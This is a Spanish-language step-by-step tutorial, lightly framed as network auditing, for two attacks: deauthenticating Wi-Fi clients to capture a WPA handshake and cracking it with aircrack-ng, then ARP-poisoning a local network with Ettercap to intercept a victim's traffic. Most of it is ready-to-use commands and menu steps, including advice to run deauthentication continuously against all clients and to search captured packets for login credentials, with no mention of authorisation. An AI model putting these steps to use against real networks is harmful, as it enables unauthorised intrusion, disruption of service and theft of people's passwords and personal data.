A continuación te explicaré cómo se lleva a cabo un ataque a una red Wi-Fi utilizando técnicas de **Deauthentication (Deauth)** y **Handshake Capture** con herramientas como **Airmon-ng**, **Airodump-ng**, y **Aircrack-ng**. Este tipo de ataque es común en la auditoría de redes inalámbricas para probar su seguridad.

2. Requisitos Previos

- Un adaptador Wi-Fi compatible con el modo de monitorización (monitor mode).
- Un entorno Linux (Kali Linux es comúnmente utilizado para este tipo de operaciones).
- Paquetes de herramientas Aircrack-ng instalados.

3. Pasos para Realizar el Ataque Wi-Fi

Paso 1: Preparar el Entorno de Trabajo

1. **Conecta el adaptador Wi-Fi**: Asegúrate de que tu adaptador Wi-Fi esté correctamente conectado y reconocido por el sistema.
2. **Actualizar los paquetes**: Asegúrate de que tu sistema y las herramientas están actualizadas.

```
sudo apt-get update && sudo apt-get upgrade
```

3. **Instalar Aircrack-ng** (si no está instalado):

```
sudo apt-get install aircrack-ng
```

Paso 2: Configurar la Interfaz Wi-Fi en Modo Monitor

1. **Identificar la interfaz Wi-Fi**:

```
ifconfig
```

Normalmente, la interfaz será algo como `wlan0`.

2. **Iniciar la interfaz en modo monitor**:

```
sudo airmon-ng start wlan0
```

Esto habilitará una nueva interfaz, usualmente llamada `wlan0mon`.

Paso 3: Escaneo de Redes y Captura del Handshake

1. **Escanear las redes disponibles**:

```
sudo airodump-ng wlan0mon
```

Esto te mostrará todas las redes Wi-Fi disponibles y sus detalles, como el BSSID (dirección MAC del router), canal, cifrado, etc.

2. **Seleccionar la red objetivo**:

Identifica la red que deseas auditar. Toma nota del BSSID y el canal (CH).

3. **Capturar el handshake**:

```
sudo airodump-ng --bssid [BSSID del router] -c [Canal de la red] -w [Nombre del archivo de captura] wlan0mon
```

Esto iniciará la captura de tráfico en el canal específico de la red objetivo. Se creará un archivo `.cap` donde se almacenará la información capturada.

Paso 4: Ataque de Desautenticación (Deauth)

El objetivo aquí es desconectar temporalmente a un cliente de la red para forzar un nuevo intento de autenticación, momento en el que se capturará el handshake.

1. **Ejecutar el ataque de deauth**:

```
sudo aireplay-ng --deauth 10 -a [BSSID del router] -c [MAC del cliente] wlan0mon
```

- `--deauth 10` envía 10 paquetes de desautenticación. Si pones 0 ataca continuamente (recomendable poner 0)
- `-a [BSSID]` es la dirección MAC del router.
- `-c [MAC del cliente]` es la dirección MAC del dispositivo objetivo.

Si no especificas `-c`, el ataque se dirigirá a todos los dispositivos conectados a esa red.

2. **Esperar la captura del handshake**:

   Observa la consola de `airodump-ng` para ver si se captura el handshake. Aparecerá un mensaje que dice "WPA handshake" seguido de la dirección MAC.

Paso 5: Cracking de la Contraseña

1. **Crackear la contraseña utilizando el archivo capturado**:

   ```
   sudo aircrack-ng -w [Ruta al diccionario] -b [BSSID del router] [Archivo .cap]
   ```

   - `[Ruta al diccionario]` es el archivo de contraseñas (wordlist) que utilizarás para el ataque de fuerza bruta.
   - `[Archivo .cap]` es el archivo que generaste durante la captura del handshake.
2. **Esperar el resultado**:

   Si la contraseña está en la lista de palabras del diccionario, Aircrack-ng la mostrará.

6. Consejos y Consideraciones

- **Elección del diccionario**: La efectividad del ataque depende en gran medida de la calidad de la lista de palabras. Se recomienda utilizar listas de contraseñas robustas y personalizadas para la red objetivo.
- **Limitaciones**: Si la red utiliza una contraseña compleja o personalizada, el ataque puede fallar si no cuentas con un diccionario adecuado.
- **Detección**: Los ataques de deauth son ruidosos y pueden ser detectados por sistemas de monitorización de red.

Guía Paso a Paso para Realizar un Ataque Man-in-the-Middle (MITM) con Ettercap

---

Paso 1: Preparativos Iniciales

1. **Iniciar Kali Linux**: Asegúrate de que Kali Linux esté correctamente instalado y actualizado.
2. **Conectar el Adaptador de Red**: Asegúrate de que tu adaptador de red esté conectado y funcionando correctamente.
3. **Actualizar el Sistema**: Asegúrate de que todos los paquetes están actualizados.

   ```
   sudo apt-get update && sudo apt-get upgrade
   ```

Paso 2: Identificar la Red y los Dispositivos

1. **Abrir una Terminal**: En Kali Linux, abre una terminal para ejecutar los comandos.
2. **Listar las Interfaces de Red**:

   ```
   ifconfig
   ```

   Identifica la interfaz de red que vas a utilizar, por ejemplo, `eth0` para Ethernet o `wlan0` para Wi-Fi.

3. **Iniciar Ettercap**:

   ```
   sudo ettercap -G
   ```

   Esto abrirá la interfaz gráfica de Ettercap.

Paso 3: Configurar Ettercap

1. **Seleccionar la Interfaz de Red**:
   - En Ettercap, ve a **"Sniff"** > **"Unified sniffing"**.
   - Elige la interfaz de red que estás utilizando (por ejemplo, `eth0` o `wlan0`).
2. **Escanear la Red**:
   - Ve a **"Hosts"** > **"Scan for hosts"**.
   - Ettercap escaneará la red y detectará los dispositivos conectados.
3. **Listar los Dispositivos**:
   - Ve a **"Hosts"** > **"Hosts list"**.
   - Aquí verás una lista de dispositivos conectados a la red, con sus direcciones IP y MAC.
4. **Seleccionar el Objetivo**:
   - Identifica la dirección IP del **router** (puerta de enlace) y la del **dispositivo víctima** de la lista.

- Añade estos dispositivos a la lista de objetivos. Selecciona el dispositivo víctima y el router (puerta de enlace) haciendo clic derecho en cada uno y seleccionando **"Add to Target 1"** y **"Add to Target 2"**, respectivamente.

Paso 4: Realizar el Ataque MITM

1. **Iniciar el Ataque ARP Spoofing**:
   - Ve a **"Mitm"** > **"Arp poisoning"**.
   - Marca **"Sniff remote connections"**.
   - Haz clic en **"OK"** para iniciar el ataque.
2. **Comenzar el Sniffing**:
   - Ve a **"Start"** > **"Start sniffing"**.
   - Ettercap comenzará a capturar el tráfico entre el dispositivo víctima y el router.

Paso 5: Monitorear el Tráfico y Capturar Datos

1. **Ver el Tráfico Capturado**:
   - En la interfaz gráfica de Ettercap, puedes ver el tráfico en tiempo real.
   - Examina los paquetes y busca información sensible, como credenciales de inicio de sesión o datos personales.
2. **Guardar el Tráfico**:
   - Puedes guardar los paquetes capturados para un análisis posterior.
   - Ve a **"File"** > **"Save"** y elige un formato de archivo para guardar el tráfico.

Paso 6: Finalizar el Ataque

1. **Detener el Ataque**:
   - Para detener el ataque, regresa a Ettercap y selecciona **"Stop sniffing"**.
   - Luego ve a **"Mitm"** > **"Stop ARP poisoning"** para detener el envenenamiento ARP.
2. **Restaurar la Red**:
   - En algunos casos, puede ser necesario restaurar la tabla ARP del dispositivo víctima y del router.
   - Para ello, reinicia los dispositivos o usa comandos específicos para restaurar las tablas ARP.